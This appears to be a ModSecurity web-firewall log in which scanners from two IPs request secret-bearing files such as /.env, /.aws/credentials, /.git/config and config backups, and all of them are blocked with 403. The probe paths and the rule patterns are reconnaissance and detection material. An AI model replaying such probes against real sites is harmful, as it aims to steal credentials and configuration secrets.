[Wed Feb 25 02:41:04.383967 2026] [:error] [pid 2312417] [client 93.123.109.214:48552] [client 93.123.109.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php.old&quot;] [unique_id &quot;aZ5TMPXLUN2fZpuaCjqw-AAAAAk&quot;]
[Wed Feb 25 02:41:05.023685 2026] [:error] [pid 2312417] [client 93.123.109.214:48552] [client 93.123.109.214] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config.php.bak&quot;] [unique_id &quot;aZ5TMfXLUN2fZpuaCjqw-gAAAAk&quot;]
[Wed Feb 25 02:41:05.024022 2026] [:error] [pid 2312417] [client 93.123.109.214:48552] [client 93.123.109.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config.php.bak&quot;] [unique_id &quot;aZ5TMfXLUN2fZpuaCjqw-gAAAAk&quot;]
[Wed Feb 25 02:41:05.024189 2026] [:error] [pid 2312417] [client 93.123.109.214:48552] [client 93.123.109.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config.php.bak&quot;] [unique_id &quot;aZ5TMfXLUN2fZpuaCjqw-gAAAAk&quot;]
[Wed Feb 25 02:41:05.677677 2026] [:error] [pid 2312417] [client 93.123.109.214:48552] [client 93.123.109.214] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/head&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/HEAD&quot;] [unique_id &quot;aZ5TMfXLUN2fZpuaCjqw_gAAAAk&quot;]
[Wed Feb 25 02:41:05.677911 2026] [:error] [pid 2312417] [client 93.123.109.214:48552] [client 93.123.109.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/HEAD&quot;] [unique_id &quot;aZ5TMfXLUN2fZpuaCjqw_gAAAAk&quot;]
[Wed Feb 25 02:41:05.678078 2026] [:error] [pid 2312417] [client 93.123.109.214:48552] [client 93.123.109.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/HEAD&quot;] [unique_id &quot;aZ5TMfXLUN2fZpuaCjqw_gAAAAk&quot;]
[Wed Feb 25 02:41:05.729606 2026] [:error] [pid 2312417] [client 93.123.109.214:48552] [client 93.123.109.214] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aZ5TMfXLUN2fZpuaCjqw_wAAAAk&quot;]
[Wed Feb 25 02:41:05.729837 2026] [:error] [pid 2312417] [client 93.123.109.214:48552] [client 93.123.109.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aZ5TMfXLUN2fZpuaCjqw_wAAAAk&quot;]
[Wed Feb 25 02:41:05.730000 2026] [:error] [pid 2312417] [client 93.123.109.214:48552] [client 93.123.109.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aZ5TMfXLUN2fZpuaCjqw_wAAAAk&quot;]
[Wed Feb 25 06:04:19.827296 2026] [:error] [pid 2312957] [client 185.177.72.13:15324] [client 185.177.72.13] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/info.php.bak&quot;] [unique_id &quot;aZ6C04v6AM5Bs3q_JQDXlgAAAAc&quot;]
[Wed Feb 25 06:04:19.827887 2026] [:error] [pid 2312957] [client 185.177.72.13:15324] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/info.php.bak&quot;] [unique_id &quot;aZ6C04v6AM5Bs3q_JQDXlgAAAAc&quot;]
[Wed Feb 25 06:04:19.828081 2026] [:error] [pid 2312957] [client 185.177.72.13:15324] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/info.php.bak&quot;] [unique_id &quot;aZ6C04v6AM5Bs3q_JQDXlgAAAAc&quot;]
[Wed Feb 25 06:04:21.415867 2026] [:error] [pid 2312957] [client 185.177.72.13:15324] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;.aws/credentials&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .aws/credentials found within REQUEST_FILENAME: /.aws/credentials&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/credentials&quot;] [unique_id &quot;aZ6C1Yv6AM5Bs3q_JQDXqwAAAAc&quot;]
[Wed Feb 25 06:04:21.416160 2026] [:error] [pid 2312957] [client 185.177.72.13:15324] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/credentials&quot;] [unique_id &quot;aZ6C1Yv6AM5Bs3q_JQDXqwAAAAc&quot;]
[Wed Feb 25 06:04:21.416349 2026] [:error] [pid 2312957] [client 185.177.72.13:15324] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/credentials&quot;] [unique_id &quot;aZ6C1Yv6AM5Bs3q_JQDXqwAAAAc&quot;]
[Wed Feb 25 06:04:21.723735 2026] [:error] [pid 2312957] [client 185.177.72.13:15324] [client 185.177.72.13] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/phpinfo.php.bak&quot;] [unique_id &quot;aZ6C1Yv6AM5Bs3q_JQDXrgAAAAc&quot;]
[Wed Feb 25 06:04:21.724318 2026] [:error] [pid 2312957] [client 185.177.72.13:15324] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/phpinfo.php.bak&quot;] [unique_id &quot;aZ6C1Yv6AM5Bs3q_JQDXrgAAAAc&quot;]
[Wed Feb 25 06:04:21.724514 2026] [:error] [pid 2312957] [client 185.177.72.13:15324] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/phpinfo.php.bak&quot;] [unique_id &quot;aZ6C1Yv6AM5Bs3q_JQDXrgAAAAc&quot;]
[Wed Feb 25 06:04:21.879742 2026] [:error] [pid 2312957] [client 185.177.72.13:15324] [client 185.177.72.13] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.bak&quot;] [unique_id &quot;aZ6C1Yv6AM5Bs3q_JQDXsQAAAAc&quot;]
[Wed Feb 25 06:04:21.880067 2026] [:error] [pid 2312957] [client 185.177.72.13:15324] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.bak&quot;] [unique_id &quot;aZ6C1Yv6AM5Bs3q_JQDXsQAAAAc&quot;]
[Wed Feb 25 06:04:21.880341 2026] [:error] [pid 2312957] [client 185.177.72.13:15324] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.bak&quot;] [unique_id &quot;aZ6C1Yv6AM5Bs3q_JQDXsQAAAAc&quot;]
[Wed Feb 25 06:04:21.880530 2026] [:error] [pid 2312957] [client 185.177.72.13:15324] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.bak&quot;] [unique_id &quot;aZ6C1Yv6AM5Bs3q_JQDXsQAAAAc&quot;]
[Wed Feb 25 06:04:21.907516 2026] [:error] [pid 2312957] [client 185.177.72.13:15324] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aZ6C1Yv6AM5Bs3q_JQDXsgAAAAc&quot;]
[Wed Feb 25 06:04:21.907780 2026] [:error] [pid 2312957] [client 185.177.72.13:15324] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aZ6C1Yv6AM5Bs3q_JQDXsgAAAAc&quot;]
[Wed Feb 25 06:04:21.907943 2026] [:error] [pid 2312957] [client 185.177.72.13:15324] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aZ6C1Yv6AM5Bs3q_JQDXsgAAAAc&quot;]
[Wed Feb 25 06:04:21.968533 2026] [:error] [pid 2312957] [client 185.177.72.13:15324] [client 185.177.72.13] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.backup&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.backup&quot;] [unique_id &quot;aZ6C1Yv6AM5Bs3q_JQDXswAAAAc&quot;]
[Wed Feb 25 06:04:21.968945 2026] [:error] [pid 2312957] [client 185.177.72.13:15324] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.backup&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.backup&quot;] [unique_id &quot;aZ6C1Yv6AM5Bs3q_JQDXswAAAAc&quot;]
[Wed Feb 25 06:04:21.969218 2026] [:error] [pid 2312957] [client 185.177.72.13:15324] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.backup&quot;] [unique_id &quot;aZ6C1Yv6AM5Bs3q_JQDXswAAAAc&quot;]
[Wed Feb 25 06:04:21.969402 2026] [:error] [pid 2312957] [client 185.177.72.13:15324] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.backup&quot;] [unique_id &quot;aZ6C1Yv6AM5Bs3q_JQDXswAAAAc&quot;]
